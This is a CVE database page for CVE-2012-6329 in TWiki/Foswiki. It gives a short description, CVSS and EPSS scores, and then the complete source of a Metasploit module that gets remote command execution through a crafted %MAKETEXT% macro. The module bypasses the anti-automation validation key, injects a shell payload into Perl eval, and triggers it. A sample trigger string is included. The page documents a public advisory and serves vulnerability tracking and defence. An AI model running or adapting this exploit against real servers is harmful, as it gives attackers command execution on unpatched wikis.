CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The localization functionality in TWiki before 5.1.3, and Foswiki 1.0.x through 1.0.10 and 1.1.x through 1.1.6, allows remote attackers to cause a denial of service (memory consumption) via a large integer in a %MAKETEXT% macro.
Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.14%
–
–
2022-02-13
–
–
1.14%
–
–
2022-04-03
–
–
1.14%
–
–
2022-04-24
–
–
1.14%
–
–
2022-07-17
–
–
1.14%
–
–
2022-11-13
–
–
1.14%
–
–
2022-11-20
–
–
1.14%
–
–
2022-12-04
–
–
1.14%
–
–
2023-03-12
–
–
–
0.76%
–
2023-04-30
–
–
–
0.76%
–
2023-05-14
–
–
–
0.76%
–
2023-05-21
–
–
–
0.76%
–
2024-02-11
–
–
–
0.76%
–
2024-06-02
–
–
–
0.76%
–
2024-08-25
–
–
–
0.76%
–
2024-09-01
–
–
–
0.76%
–
2024-09-22
–
–
–
0.76%
–
2024-10-27
–
–
–
0.76%
–
2024-12-22
–
–
–
0.66%
–
2025-01-19
–
–
–
0.66%
–
2025-03-18
–
–
–
–
72.43%
2025-03-30
–
–
–
–
73.25%
2025-03-30
–
–
–
–
73.25,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Foswiki MAKETEXT Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
a specially crafted MAKETEXT, a malicious user can execute shell commands since the
input is passed to the Perl "eval" command without first being sanitized. The
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
module. Only Foswiki sites that have user interface localization enabled
(UserInterfaceInternationalisation variable set) are vulnerable.
If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
Also, if the FoswikiPage option isn't provided, the module will try to create a
random page on the SandBox space. The modules has been tested successfully on
Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.
},
'Author' =>
[
'Brian Carlson', # original discovery in Perl Locale::Maketext
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6329' ],
[ 'OSVDB', '88410' ],
[ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ]
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic ruby python bash telnet'
}
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Foswiki 1.1.5', { }]],
'DisclosureDate' => 'Dec 03 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]),
OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end
def do_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}bin/login",
'vars_post' =>
{
'username' => username,
'password' => password
}
})
if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/
vprint_status "#{res.code}\n#{res.body}"
return nil
end
session = $1
return session
end
def inject_code(session, code)
vprint_status("Retrieving the validation_key...")
res = send_request_cgi({
'uri' => "#{@base}bin/edit#{@page}",
'cookie' => "FOSWIKISID=#{session}"
})
if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/
vprint_error("Error retrieving the validation_key")
return nil
end
validation_key = $1
vprint_good("validation_key found: #{validation_key}")
if session.empty?
if res.headers['Set-Cookie'] =~ /FOSWIKISID=([0-9a-f]*)/
session = $1
else
vprint_error("Error using anonymous access")
return nil
end
end
if res.headers['Set-Cookie'] =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/
strike_one = $1
else
vprint_error("Error getting the FOSWIKISTRIKEONE value")
return nil
end
# Transforming validation_key in order to bypass foswiki antiautomation
validation_key = Rex::Text.md5(validation_key + strike_one)
vprint_status("Transformed validation key: #{validation_key}")
vprint_status("Injecting the payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}bin/save#{@page}",
'cookie' => "FOSWIKISID=#{session}",
'vars_post' =>
{
'validation_key' => validation_key,
'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
}
})
if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/
print_warning("Error injecting the payload")
print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
return nil
end
location = URI(res.headers['Location']).path
print_good("Payload injected on #{location}")
return location
end
def check
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
res = send_request_cgi({
'uri' => "#{@base}System/WebHome"
})
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/
version = $1
print_status("Version found: #{version}")
if version <= "1.1.6"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Detected
end
def exploit
# Init variables
@page = ''
if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty?
@page << '/' if datastore['FoswikiPage'][0] != '/'
@page << datastore['FoswikiPage']
else
@page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
end
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
# Login if needed
if (datastore['USERNAME'] and
not datastore['USERNAME'].empty? and
datastore['PASSWORD'] and
not datastore['PASSWORD'].empty?)
print_status("Trying login to get session ID...")
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
else
print_status("Using anonymous access...")
session = ""
end
if not session
fail_with(Exploit::Failure::Unknown, "Error getting a session ID")
end
# Inject payload
print_status("Trying to inject the payload on #{@page}...")
res = inject_code(session, payload.encoded)
if not res or res !~ /#{@page}/
fail_with(Exploit::Failure::Unknown, "Error injecting the payload")
end
# Execute payload
print_status("Executing the payload through #{@page}...")
res = send_request_cgi({
'uri' => "#{@base}#{@page}",
'cookie' => "FOSWIKISID=#{session}"
})
if not res or res.code != 200 or res.body !~ /HASH/
print_status("#{res.code}\n#{res.body}")
fail_with(Exploit::Failure::Unknown, "Error executing the payload")
end
print_good("Exploitation was successful")
end
end
=begin
* Trigger:
%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%
=end